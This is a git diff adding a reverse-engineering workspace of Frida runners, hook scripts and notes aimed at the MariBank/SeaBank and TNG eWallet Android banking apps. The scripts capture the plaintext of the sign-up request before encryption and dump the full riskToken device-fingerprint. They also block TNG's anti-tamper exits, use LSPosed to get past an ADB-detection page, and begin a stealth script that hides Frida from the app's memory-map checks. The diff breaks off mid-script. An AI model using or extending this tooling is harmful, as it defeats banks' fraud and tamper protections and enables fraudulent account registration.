reverse/README.md
Normal file
@@ -0,0 +1,19 @@
|
||||
# reverse/ 逆向工作区
|
||||
|
||||
| 目录 | 内容 |
|
||||
|------|------|
|
||||
| `scripts/` | DEX/APK 扫描与分析 Python 脚本 |
|
||||
| `frida/` | Frida trace 脚本与运行器 |
|
||||
| `apks/` | 从设备拉取的 APK(不入库) |
|
||||
| `extracted/` | 解压产物、dex dump、`.so`(不入库) |
|
||||
| `output/` | 脚本输出的 `.txt` 分析报告 |
|
||||
| `logs/` | 运行日志(含 `logs/frida/`) |
|
||||
| `tmp/` | 临时 `.dex` 文件(不入库) |
|
||||
|
||||
常用命令(在项目根目录执行):
|
||||
|
||||
```powershell
|
||||
python reverse/scripts/scan_dex.py reverse/extracted
|
||||
python reverse/frida/run_frida_trace.py attach
|
||||
powershell -File reverse/frida/pull_split_apk.ps1
|
||||
```
|
||||
75
reverse/frida/gen_jni_targets.py
Normal file
75
reverse/frida/gen_jni_targets.py
Normal file
@@ -0,0 +1,75 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Quick reference: register crypto JNI targets for Frida."""
|
||||
import re
|
||||
import subprocess
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "seabank_ph_base.apk"
|
||||
DEXDUMP = Path(r"C:\Users\Administrator\AppData\Local\Android\Sdk\build-tools\37.0.0\dexdump.exe")
|
||||
OUT = Path(__file__).resolve().parent / "frida" / "jni_targets.md"
|
||||
|
||||
TARGETS = [
|
||||
"Lcom/shopee/bke/lib/jni/utils/d;", # NativeEncryptUtilsWrapper
|
||||
"Lcom/shopee/bke/lib/jni/utils/uvwuvwuv;", # NativeEncryptUtils (sdkutils JNI)
|
||||
"Lcom/shopee/bke/lib/jni/utils/f;", # SoUtils.loadSoLibrary
|
||||
"Lcom/shopee/shpssdkbank/uwuvuvvww/vvuuuuvvv;",
|
||||
"Lcom/shopee/shpssdkbank/wvvvuwwu;",
|
||||
]
|
||||
|
||||
lines = [
|
||||
"# MariBank v3.22 register / crypto JNI targets",
|
||||
"",
|
||||
"## sdkutils (注册 body 加密)",
|
||||
"- `com.shopee.bke.lib.jni.utils.d` — NativeEncryptUtilsWrapper",
|
||||
"- `com.shopee.bke.lib.jni.utils.uvwuvwuv` — NativeEncryptUtils (native)",
|
||||
"- `com.shopee.bke.lib.jni.utils.f` — SoUtils → loads `libsdkutils.so`",
|
||||
"",
|
||||
"## shpssdk_bank (riskToken / DFP)",
|
||||
"- `vvuuuuvvv.wwvuwuwvu(Context)` — getRiskToken 真实入口",
|
||||
"- `wvvvuwwu` — native bridge (`vvuwuuvuu` → `wwvwvwuvv`)",
|
||||
"",
|
||||
"## dexdump natives",
|
||||
"",
|
||||
]
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
dex = zf.read("classes8.dex")
|
||||
tmp = Path(__file__).resolve().parent / "tmp_frida_ref.dex"
|
||||
tmp.write_bytes(dex)
|
||||
out = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
for target in TARGETS:
|
||||
lines.append("### " + target)
|
||||
cap = False
|
||||
for line in out.splitlines():
|
||||
if ("Class descriptor : '" + target + "'") in line:
|
||||
cap = True
|
||||
elif cap and line.startswith(" Class descriptor") and target not in line:
|
||||
break
|
||||
if cap and ("NATIVE" in line or ("name :" in line and "type :" not in line)):
|
||||
safe = line.encode("ascii", "replace").decode()
|
||||
if "name :" in safe:
|
||||
lines.append("- " + safe.strip())
|
||||
lines.append("")
|
||||
|
||||
dex11 = zf.read("classes11.dex")
|
||||
tmp.write_bytes(dex11)
|
||||
out11 = subprocess.check_output(
|
||||
[str(DEXDUMP), "-d", str(tmp)], universal_newlines=True, errors="replace"
|
||||
)
|
||||
for target in TARGETS[3:]:
|
||||
lines.append("### " + target)
|
||||
cap = False
|
||||
for line in out11.splitlines():
|
||||
if ("Class descriptor : '" + target + "'") in line:
|
||||
cap = True
|
||||
elif cap and line.startswith(" Class descriptor") and target not in line:
|
||||
break
|
||||
if cap and "NATIVE" in line:
|
||||
lines.append("- " + line.encode("ascii", "replace").decode().strip())
|
||||
lines.append("")
|
||||
|
||||
OUT.write_text("\n".join(lines), encoding="utf-8")
|
||||
print("written", OUT)
|
||||
43
reverse/frida/jni_targets.md
Normal file
43
reverse/frida/jni_targets.md
Normal file
@@ -0,0 +1,43 @@
|
||||
# MariBank v3.22 — Frida trace 目标(注册加密)
|
||||
|
||||
## sdkutils(注册 body 很可能经此加密)
|
||||
|
||||
| 类 | 说明 |
|
||||
|----|------|
|
||||
| `com.shopee.bke.lib.jni.utils.f` | SoUtils,`loadSoLibrary("sdkutils")` |
|
||||
| `com.shopee.bke.lib.jni.utils.uvwuvwuv` | NativeEncryptUtils,**PUBLIC STATIC NATIVE** |
|
||||
| `com.shopee.bke.lib.jni.utils.d` | NativeEncryptUtilsWrapper,调用 `uvwuvwuv.uvwuuww([B,String,Z,J)[[B` |
|
||||
|
||||
logcat 标签:`NativeEncrypt: loading JNI`、`CharacterCryptoManager`
|
||||
|
||||
## libshpssdk_bank.so(riskToken / DFP)
|
||||
|
||||
| 类 / 方法 | 说明 |
|
||||
|-----------|------|
|
||||
| `vvuuuuvvv.wwvuwuwvu(Context)` | getRiskToken 真实入口 |
|
||||
| `wvvvuwwu.vvuwuuvuu(String,ZZ)` | → native `wwvwvwuvv(int,String)` |
|
||||
| `wvvvuwwu.vuwuuuwv([B,[B)` | requestDefense 解密 |
|
||||
| `SHPSSDK.requestDefense` | 出站 HTTP 头 `x-sap-fixme` |
|
||||
|
||||
## 运行
|
||||
|
||||
```powershell
|
||||
# SG 专用 native trace(推荐)
|
||||
.\scripts\run-frida-sg-native.ps1
|
||||
|
||||
# 或
|
||||
cd reverse\frida
|
||||
C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe run_frida_sg_native.py attach
|
||||
|
||||
# PH 旧脚本(勿用于 SG)
|
||||
.\run-frida-trace.ps1 -Mode spawn
|
||||
```
|
||||
|
||||
建议测试时**暂时关闭 LSPosed 对 MariBank 的作用域**,避免与 Frida 冲突。
|
||||
|
||||
## 预期输出
|
||||
|
||||
- `RegisterNatives libsdkutils.so ...` — JNI 符号
|
||||
- `NativeEncryptWrapper.*` — 加密前明文(若走 Java 包装)
|
||||
- `HTTP POST .../uapi/v2/register` — 请求/响应 body
|
||||
- `vvuuuuvvv.wwvuwuwvu ret` — riskToken 全文
|
||||
25
reverse/frida/mini_run.py
Normal file
25
reverse/frida/mini_run.py
Normal file
@@ -0,0 +1,25 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import subprocess, time
|
||||
import frida
|
||||
ADB = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
PKG = "my.com.tngdigital.ewallet"
|
||||
def adb(*a): return subprocess.run([ADB, *a], capture_output=True, text=True)
|
||||
def on_msg(m, d):
|
||||
line = m.get("payload") if m.get("type") in ("send", "log") else str(m)
|
||||
print(line, flush=True)
|
||||
d = frida.get_usb_device(10)
|
||||
adb("shell", "am", "force-stop", PKG); time.sleep(1)
|
||||
pid = d.spawn([PKG])
|
||||
s = d.attach(pid)
|
||||
sc = s.create_script(open("mini_timer.js", encoding="utf-8").read())
|
||||
sc.on("message", on_msg)
|
||||
sc.load()
|
||||
print("resume", pid, flush=True)
|
||||
d.resume(pid)
|
||||
for i in range(20):
|
||||
time.sleep(1)
|
||||
p = adb("shell", "pidof", PKG).stdout.strip()
|
||||
print("t=%d pid=%s" % (i+1, p or "DEAD"), flush=True)
|
||||
if not p: break
|
||||
try: s.detach()
|
||||
except: pass
|
||||
9
reverse/frida/mini_timer.js
Normal file
9
reverse/frida/mini_timer.js
Normal file
@@ -0,0 +1,9 @@
|
||||
"use strict";
|
||||
console.log("[MINI] start");
|
||||
let i = 0;
|
||||
const t = setInterval(() => {
|
||||
i++;
|
||||
const m = Process.findModuleByName("libtiger_tally.so");
|
||||
console.log(`[MINI] tick=${i} tiger_loaded=${!!m}`);
|
||||
if (i > 15) clearInterval(t);
|
||||
}, 1000);
|
||||
30
reverse/frida/pull_split_apk.ps1
Normal file
30
reverse/frida/pull_split_apk.ps1
Normal file
@@ -0,0 +1,30 @@
|
||||
# Pull native libs from connected device (Pixel 6 with MariBank installed)
|
||||
$ErrorActionPreference = "Stop"
|
||||
$Root = Split-Path -Parent $PSScriptRoot
|
||||
$OutDir = Join-Path $Root "extracted\native"
|
||||
New-Item -ItemType Directory -Force -Path $OutDir | Out-Null
|
||||
|
||||
$AdbCandidates = @(
|
||||
(Join-Path $Root "..\platform-tools\adb.exe"),
|
||||
"$env:LOCALAPPDATA\Android\Sdk\platform-tools\adb.exe",
|
||||
"adb"
|
||||
)
|
||||
$Adb = $AdbCandidates | Where-Object { $_ -eq "adb" -or (Test-Path $_) } | Select-Object -First 1
|
||||
if (-not $Adb) { throw "adb not found" }
|
||||
|
||||
$Pkg = "ph.seabank.seabank"
|
||||
$Base = & $Adb shell pm path $Pkg 2>$null
|
||||
if (-not $Base) { throw "package $Pkg not installed on device" }
|
||||
|
||||
$Paths = ($Base -split "`n" | ForEach-Object { $_.Trim() -replace "^package:", "" })
|
||||
foreach ($ApkPath in $Paths) {
|
||||
$Name = Split-Path $ApkPath -Leaf
|
||||
$LocalApk = Join-Path $OutDir $Name
|
||||
Write-Host "pull $ApkPath -> $LocalApk"
|
||||
& $Adb pull $ApkPath $LocalApk | Out-Null
|
||||
if ($Name -like "split_config.arm64*") {
|
||||
python (Join-Path $Root "scripts\extract_all_so.py")
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "done. SO files in $OutDir"
|
||||
3
reverse/frida/requirements.txt
Normal file
3
reverse/frida/requirements.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
# MariBank Frida trace dependencies (host PC)
|
||||
frida>=16.0.0
|
||||
frida-tools>=12.0.0
|
||||
66
reverse/frida/run-frida-trace.ps1
Normal file
66
reverse/frida/run-frida-trace.ps1
Normal file
@@ -0,0 +1,66 @@
|
||||
# Run MariBank register Frida trace on connected device
|
||||
param(
|
||||
[ValidateSet("spawn", "attach")]
|
||||
[string]$Mode = "attach",
|
||||
[string]$Package = "ph.seabank.seabank"
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$Here = $PSScriptRoot
|
||||
$LogsDir = Join-Path (Split-Path $Here -Parent) "logs\frida"
|
||||
New-Item -ItemType Directory -Force -Path $LogsDir | Out-Null
|
||||
$Script = Join-Path $Here "trace_maribank_register.js"
|
||||
$LogFile = Join-Path $LogsDir "trace_$(Get-Date -Format 'yyyyMMdd_HHmmss').log"
|
||||
|
||||
if (-not (Test-Path $Script)) { throw "missing $Script" }
|
||||
|
||||
# adb
|
||||
$AdbCandidates = @(
|
||||
(Join-Path (Split-Path $Here -Parent) "..\platform-tools\adb.exe"),
|
||||
"$env:LOCALAPPDATA\Android\Sdk\platform-tools\adb.exe",
|
||||
"adb"
|
||||
)
|
||||
$Adb = $AdbCandidates | Where-Object { $_ -eq "adb" -or (Test-Path $_) } | Select-Object -First 1
|
||||
if (-not $Adb) { Write-Warning "adb not in PATH — ensure device connected" }
|
||||
|
||||
# frida / python module
|
||||
$FridaCmd = Get-Command frida -ErrorAction SilentlyContinue
|
||||
if (-not $FridaCmd) {
|
||||
Write-Host "Installing frida-tools..."
|
||||
python -m pip install -r (Join-Path $Here "requirements.txt")
|
||||
}
|
||||
|
||||
Write-Host @"
|
||||
|
||||
=== MariBank Frida Register Trace ===
|
||||
Package : $Package
|
||||
Mode : $Mode
|
||||
Script : $Script
|
||||
Log : $LogFile
|
||||
|
||||
前置条件 (Pixel 6):
|
||||
1. adb devices 能看到设备
|
||||
2. 手机已 push 匹配架构的 frida-server 并 root 运行:
|
||||
adb push frida-server /data/local/tmp/
|
||||
adb shell chmod 755 /data/local/tmp/frida-server
|
||||
adb shell su -c '/data/local/tmp/frida-server -D &'
|
||||
3. 建议测试时暂时关闭 LSPosed 对本 App 的作用域,避免与 Frida 冲突
|
||||
4. 操作: Sign up -> 输入号码 -> Next,观察本窗口输出
|
||||
|
||||
"@
|
||||
|
||||
$Py312 = "C:\Users\Administrator\AppData\Local\Programs\Python\Python312\python.exe"
|
||||
$Runner = Join-Path $Here "run_frida_trace.py"
|
||||
if (Test-Path $Py312) -and (Test-Path $Runner) {
|
||||
Write-Host "Using persistent Python runner: $Runner $Mode"
|
||||
& $Py312 $Runner $Mode
|
||||
exit $LASTEXITCODE
|
||||
}
|
||||
|
||||
$FridaArgs = @("-U", "-f", $Package, "-l", $Script, "-o", $LogFile)
|
||||
if ($Mode -eq "attach") {
|
||||
$FridaArgs = @("-U", $Package, "-l", $Script, "-o", $LogFile)
|
||||
}
|
||||
|
||||
Write-Host "frida $($FridaArgs -join ' ')"
|
||||
& frida @FridaArgs
|
||||
143
reverse/frida/run_frida_sg_native.py
Normal file
143
reverse/frida/run_frida_sg_native.py
Normal file
@@ -0,0 +1,143 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Frida SG native trace — attach to sg.com.maribankmobile.digitalbank."""
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
import frida
|
||||
|
||||
PKG = "sg.com.maribankmobile.digitalbank"
|
||||
HERE = Path(__file__).resolve().parent
|
||||
LOGS_DIR = HERE.parent / "logs" / "frida"
|
||||
LOGS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
SCRIPT = HERE / "trace_maribank_sg_native.js"
|
||||
LOG = LOGS_DIR / ("sg_native_%s.log" % datetime.now().strftime("%Y%m%d_%H%M%S"))
|
||||
|
||||
|
||||
def on_message(message, data):
|
||||
mtype = message.get("type")
|
||||
if mtype == "send":
|
||||
line = message.get("payload")
|
||||
elif mtype == "log":
|
||||
line = message.get("payload", message.get("description", ""))
|
||||
else:
|
||||
line = str(message)
|
||||
text = line if isinstance(line, str) else repr(line)
|
||||
print(text, flush=True)
|
||||
with open(LOG, "a", encoding="utf-8") as f:
|
||||
f.write(text + "\n")
|
||||
if mtype == "error":
|
||||
with open(str(LOG) + ".err", "a", encoding="utf-8") as f:
|
||||
f.write(text + "\n")
|
||||
|
||||
|
||||
def wait_for_process(device, pkg, timeout_sec=60):
|
||||
deadline = time.time() + timeout_sec
|
||||
while time.time() < deadline:
|
||||
for app in device.enumerate_applications():
|
||||
if app.identifier == pkg and app.pid and app.pid > 0:
|
||||
return app.pid
|
||||
for proc in device.enumerate_processes():
|
||||
if proc.name == pkg:
|
||||
return proc.pid
|
||||
time.sleep(0.5)
|
||||
return None
|
||||
|
||||
|
||||
def launch_app(pkg):
|
||||
import subprocess
|
||||
|
||||
adb = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
subprocess.run([adb, "shell", "am", "force-stop", pkg], check=False, capture_output=True)
|
||||
time.sleep(1)
|
||||
subprocess.run(
|
||||
[
|
||||
adb,
|
||||
"shell",
|
||||
"am",
|
||||
"start",
|
||||
"-n",
|
||||
pkg + "/com.shopee.bke.digitalbank.ui.MainActivity",
|
||||
],
|
||||
check=False,
|
||||
capture_output=True,
|
||||
)
|
||||
|
||||
|
||||
def ensure_frida_server():
|
||||
import subprocess
|
||||
|
||||
adb = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
out = subprocess.run(
|
||||
[adb, "shell", "su", "-c", "pgrep frida-server"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
if out.stdout.strip():
|
||||
return
|
||||
subprocess.run(
|
||||
[adb, "shell", "su", "-c", "/data/local/tmp/frida-server -D &"],
|
||||
check=False,
|
||||
capture_output=True,
|
||||
)
|
||||
time.sleep(2)
|
||||
|
||||
|
||||
def main():
|
||||
mode = "attach"
|
||||
if len(sys.argv) > 1:
|
||||
mode = sys.argv[1]
|
||||
|
||||
if not SCRIPT.is_file():
|
||||
raise SystemExit("missing script: %s" % SCRIPT)
|
||||
|
||||
ensure_frida_server()
|
||||
device = frida.get_usb_device(timeout=10)
|
||||
source = SCRIPT.read_text(encoding="utf-8")
|
||||
|
||||
print("Package: %s" % PKG)
|
||||
print("Script: %s" % SCRIPT)
|
||||
print("Log: %s" % LOG)
|
||||
print("")
|
||||
print("IMPORTANT: keep LSPosed scope ENABLED for SG (bypasses ADB page while tracing)")
|
||||
print("")
|
||||
|
||||
if mode == "spawn":
|
||||
pid = device.spawn([PKG])
|
||||
session = device.attach(pid)
|
||||
else:
|
||||
pid = wait_for_process(device, PKG, 3)
|
||||
if pid is None:
|
||||
print("Launching MariBank SG ...")
|
||||
launch_app(PKG)
|
||||
pid = wait_for_process(device, PKG, 90)
|
||||
if pid is None:
|
||||
raise SystemExit(
|
||||
"SG MariBank not running — open app to Sign up page, then re-run"
|
||||
)
|
||||
print("Attach pid=%s" % pid)
|
||||
session = device.attach(pid)
|
||||
|
||||
script = session.create_script(source)
|
||||
script.on("message", on_message)
|
||||
script.load()
|
||||
|
||||
if mode == "spawn":
|
||||
device.resume(pid)
|
||||
print("Spawn resumed, wait JVM 15s ...")
|
||||
time.sleep(15)
|
||||
else:
|
||||
time.sleep(3)
|
||||
|
||||
print("Trace running. Sign up -> +65 -> Next. Ctrl+C to stop.")
|
||||
try:
|
||||
while True:
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
print("Stopping...")
|
||||
session.detach()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
113
reverse/frida/run_frida_tng_native.py
Normal file
113
reverse/frida/run_frida_tng_native.py
Normal file
@@ -0,0 +1,113 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Spawn TNG eWallet with Frida native exit blockers."""
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
import frida
|
||||
|
||||
PKG = "my.com.tngdigital.ewallet"
|
||||
HERE = Path(__file__).resolve().parent
|
||||
LOGS_DIR = HERE.parent / "logs" / "frida"
|
||||
LOGS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
SCRIPT = HERE / "trace_tng_native_exit.js"
|
||||
LOG = LOGS_DIR / ("tng_native_%s.log" % datetime.now().strftime("%Y%m%d_%H%M%S"))
|
||||
ADB = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
HOLD_SEC = 45
|
||||
|
||||
|
||||
def on_message(message, data):
|
||||
mtype = message.get("type")
|
||||
if mtype == "send":
|
||||
line = message.get("payload")
|
||||
elif mtype == "log":
|
||||
line = message.get("payload", "")
|
||||
else:
|
||||
line = str(message)
|
||||
text = line if isinstance(line, str) else repr(line)
|
||||
print(text, flush=True)
|
||||
with open(LOG, "a", encoding="utf-8") as f:
|
||||
f.write(text + "\n")
|
||||
|
||||
|
||||
def adb(*args):
|
||||
return subprocess.run([ADB, *args], capture_output=True, text=True)
|
||||
|
||||
|
||||
def ensure_frida_server():
|
||||
out = adb("shell", "su", "-c", "pgrep -x frida-server")
|
||||
if out.stdout.strip():
|
||||
print("frida-server already running pid=%s" % out.stdout.strip())
|
||||
return
|
||||
print("starting frida-server ...")
|
||||
adb("shell", "su", "-c", "pkill -9 frida-server; true")
|
||||
# run in background via nohup-like
|
||||
subprocess.Popen(
|
||||
[ADB, "shell", "su", "-c", "/data/local/tmp/frida-server -D"],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
time.sleep(2)
|
||||
out = adb("shell", "su", "-c", "pgrep -x frida-server")
|
||||
if not out.stdout.strip():
|
||||
raise RuntimeError("frida-server failed to start")
|
||||
print("frida-server pid=%s" % out.stdout.strip())
|
||||
|
||||
|
||||
def main():
|
||||
ensure_frida_server()
|
||||
adb("shell", "am", "force-stop", PKG)
|
||||
time.sleep(1)
|
||||
|
||||
device = frida.get_usb_device(10)
|
||||
source = SCRIPT.read_text(encoding="utf-8")
|
||||
print("Spawning %s ..." % PKG)
|
||||
print("log=%s" % LOG)
|
||||
|
||||
pid = device.spawn([PKG])
|
||||
session = device.attach(pid)
|
||||
script = session.create_script(source)
|
||||
script.on("message", on_message)
|
||||
script.load()
|
||||
print("script loaded, resume pid=%s" % pid)
|
||||
device.resume(pid)
|
||||
|
||||
alive = 0
|
||||
for i in range(HOLD_SEC):
|
||||
time.sleep(1)
|
||||
# check process still alive
|
||||
out = adb("shell", "pidof", PKG)
|
||||
pids = out.stdout.strip()
|
||||
if not pids:
|
||||
print("DEAD after %ss" % (i + 1))
|
||||
break
|
||||
alive = i + 1
|
||||
if (i + 1) % 5 == 0:
|
||||
print("alive %ss pid=%s" % (alive, pids))
|
||||
else:
|
||||
print("STABLE %ss pid=%s" % (HOLD_SEC, adb("shell", "pidof", PKG).stdout.strip()))
|
||||
|
||||
# dump activity focus
|
||||
focus = adb("shell", "dumpsys", "activity", "activities")
|
||||
for line in focus.stdout.splitlines():
|
||||
if "tngdigital" in line.lower() and (
|
||||
"mResumedActivity" in line
|
||||
or "topResumedActivity" in line
|
||||
or "UserLogin" in line
|
||||
or "SecurityError" in line
|
||||
or "Splash" in line
|
||||
):
|
||||
print("ACT: " + line.strip())
|
||||
|
||||
try:
|
||||
session.detach()
|
||||
except Exception:
|
||||
pass
|
||||
print("done alive=%ss log=%s" % (alive, LOG))
|
||||
return 0 if alive >= 15 else 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
132
reverse/frida/run_frida_trace.py
Normal file
132
reverse/frida/run_frida_trace.py
Normal file
@@ -0,0 +1,132 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Persistent Frida trace session (avoids CLI exit on piped stdin)."""
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
import frida
|
||||
|
||||
PKG = "ph.seabank.seabank"
|
||||
HERE = Path(__file__).resolve().parent
|
||||
LOGS_DIR = HERE.parent / "logs" / "frida"
|
||||
LOGS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
SCRIPT = HERE / "trace_maribank_register.js"
|
||||
LOG = LOGS_DIR / ("trace_%s.log" % datetime.now().strftime("%Y%m%d_%H%M%S"))
|
||||
|
||||
|
||||
def on_message(message, data):
|
||||
if message.get("type") == "send":
|
||||
line = message.get("payload")
|
||||
else:
|
||||
line = str(message)
|
||||
text = line if isinstance(line, str) else repr(line)
|
||||
print(text, flush=True)
|
||||
with open(LOG, "a", encoding="utf-8") as f:
|
||||
f.write(text + "\n")
|
||||
if message.get("type") == "error":
|
||||
err_log = str(LOG) + ".err"
|
||||
with open(err_log, "a", encoding="utf-8") as f:
|
||||
f.write(text + "\n")
|
||||
|
||||
|
||||
def wait_for_process(device, pkg, timeout_sec=30):
|
||||
deadline = time.time() + timeout_sec
|
||||
while time.time() < deadline:
|
||||
for app in device.enumerate_applications():
|
||||
if app.identifier == pkg and app.pid and app.pid > 0:
|
||||
return app.pid
|
||||
for proc in device.enumerate_processes():
|
||||
if proc.name == pkg:
|
||||
return proc.pid
|
||||
params = getattr(proc, "parameters", None) or {}
|
||||
if params.get("identifier") == pkg:
|
||||
return proc.pid
|
||||
time.sleep(0.5)
|
||||
return None
|
||||
|
||||
|
||||
def launch_app(pkg):
|
||||
import subprocess
|
||||
adb = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
subprocess.run(
|
||||
[adb, "shell", "am", "force-stop", pkg],
|
||||
check=False,
|
||||
capture_output=True,
|
||||
)
|
||||
time.sleep(1)
|
||||
subprocess.run(
|
||||
[adb, "shell", "monkey", "-p", pkg, "-c", "android.intent.category.LAUNCHER", "1"],
|
||||
check=False,
|
||||
capture_output=True,
|
||||
)
|
||||
|
||||
|
||||
def ensure_frida_server():
|
||||
import subprocess
|
||||
adb = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
out = subprocess.run(
|
||||
[adb, "shell", "su", "-c", "pgrep frida-server"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
if out.stdout.strip():
|
||||
return
|
||||
subprocess.run(
|
||||
[adb, "shell", "su", "-c", "/data/local/tmp/frida-server -D &"],
|
||||
check=False,
|
||||
capture_output=True,
|
||||
)
|
||||
time.sleep(2)
|
||||
|
||||
|
||||
def main():
|
||||
mode = "attach"
|
||||
if len(sys.argv) > 1:
|
||||
mode = sys.argv[1]
|
||||
|
||||
ensure_frida_server()
|
||||
device = frida.get_usb_device(timeout=10)
|
||||
source = SCRIPT.read_text(encoding="utf-8")
|
||||
|
||||
pid = None
|
||||
if mode == "spawn":
|
||||
print("Spawning %s ..." % PKG)
|
||||
pid = device.spawn([PKG])
|
||||
session = device.attach(pid)
|
||||
else:
|
||||
print("Attaching %s ..." % PKG)
|
||||
pid = wait_for_process(device, PKG, 3)
|
||||
if pid is None:
|
||||
print("Launching MariBank ...")
|
||||
launch_app(PKG)
|
||||
pid = wait_for_process(device, PKG, 60)
|
||||
if pid is None:
|
||||
raise SystemExit("MariBank not running after 60s — open app manually and re-run attach")
|
||||
print("Found pid=%s" % pid)
|
||||
session = device.attach(pid)
|
||||
|
||||
script = session.create_script(source)
|
||||
script.on("message", on_message)
|
||||
script.load()
|
||||
|
||||
if mode == "spawn":
|
||||
device.resume(pid)
|
||||
print("Resumed pid=%s, waiting for JVM..." % pid)
|
||||
time.sleep(10)
|
||||
else:
|
||||
print("Attached pid=%s" % pid)
|
||||
time.sleep(3)
|
||||
|
||||
print("Trace running. Log: %s" % LOG)
|
||||
print("操作: Sign up -> 输入号码 -> Next (Ctrl+C 结束)")
|
||||
try:
|
||||
while True:
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
print("Stopping...")
|
||||
session.detach()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
55
reverse/frida/run_spawn_trace.py
Normal file
55
reverse/frida/run_spawn_trace.py
Normal file
@@ -0,0 +1,55 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Spawn MariBank, resume after script load, wait for Java."""
|
||||
import frida
|
||||
import sys
|
||||
import time
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
PKG = "ph.seabank.seabank"
|
||||
HERE = Path(__file__).resolve().parent
|
||||
LOGS_DIR = HERE.parent / "logs" / "frida"
|
||||
LOGS_DIR.mkdir(parents=True, exist_ok=True)
|
||||
SCRIPT = HERE / "trace_maribank_register.js"
|
||||
LOG = LOGS_DIR / ("trace_%s.log" % datetime.now().strftime("%Y%m%d_%H%M%S"))
|
||||
|
||||
|
||||
def on_message(message, data):
|
||||
if message.get("type") == "send":
|
||||
line = message.get("payload")
|
||||
else:
|
||||
line = str(message)
|
||||
text = line if isinstance(line, str) else repr(line)
|
||||
print(text, flush=True)
|
||||
with open(LOG, "a", encoding="utf-8") as f:
|
||||
f.write(text + "\n")
|
||||
|
||||
|
||||
def main():
|
||||
import subprocess
|
||||
adb = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
subprocess.run([adb, "shell", "am", "force-stop", PKG], capture_output=True)
|
||||
time.sleep(1)
|
||||
|
||||
d = frida.get_usb_device(10)
|
||||
source = SCRIPT.read_text(encoding="utf-8")
|
||||
print("Spawning %s ..." % PKG)
|
||||
pid = d.spawn([PKG])
|
||||
session = d.attach(pid)
|
||||
script = session.create_script(source)
|
||||
script.on("message", on_message)
|
||||
script.load()
|
||||
time.sleep(2)
|
||||
d.resume(pid)
|
||||
print("Resumed pid=%s, log=%s" % (pid, LOG))
|
||||
print("等待 90s 让 Java Hook 就绪,然后 Sign up -> Next")
|
||||
try:
|
||||
for _ in range(120):
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
session.detach()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
178
reverse/frida/run_tng_compare.py
Normal file
178
reverse/frida/run_tng_compare.py
Normal file
@@ -0,0 +1,178 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Compare: Xposed-only vs Frida-stealth-spawn."""
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import frida
|
||||
|
||||
ADB = r"C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
PKG = "my.com.tngdigital.ewallet"
|
||||
|
||||
STEALTH = r"""
|
||||
"use strict";
|
||||
function log(m){ send("[stealth] "+m); }
|
||||
function findExport(mod, name) {
|
||||
try {
|
||||
var m = Process.getModuleByName(mod);
|
||||
var a = m.findExportByName(name);
|
||||
if (a) return a;
|
||||
} catch (e) {}
|
||||
try { return Module.getGlobalExportByName(name); } catch (e2) { return null; }
|
||||
}
|
||||
|
||||
// Rename frida threads
|
||||
try {
|
||||
var pthread_setname = findExport("libc.so", "pthread_setname_np");
|
||||
// also patch existing: best-effort via Java later
|
||||
} catch (e) {}
|
||||
|
||||
// Hide maps
|
||||
var markers = ["frida","gadget","linjector","gum-js","gmain","pool-frida","hluda"];
|
||||
var tracked = {};
|
||||
function hideLine(line) {
|
||||
var l = (line||"").toLowerCase();
|
||||
for (var i=0;i<markers.length;i++) if (l.indexOf(markers[i])>=0) return true;
|
||||
return false;
|
||||
}
|
||||
function filterBuf(buf, len) {
|
||||
try {
|
||||
var t = buf.readUtf8String(len);
|
||||
if (!t) return len;
|
||||
var out = t.split("\n").filter(function(x){return !hideLine(x);}).join("\n");
|
||||
var b = Memory.allocUtf8String(out);
|
||||
var n = Math.min(len, out.length);
|
||||
Memory.copy(buf, b, n);
|
||||
return n;
|
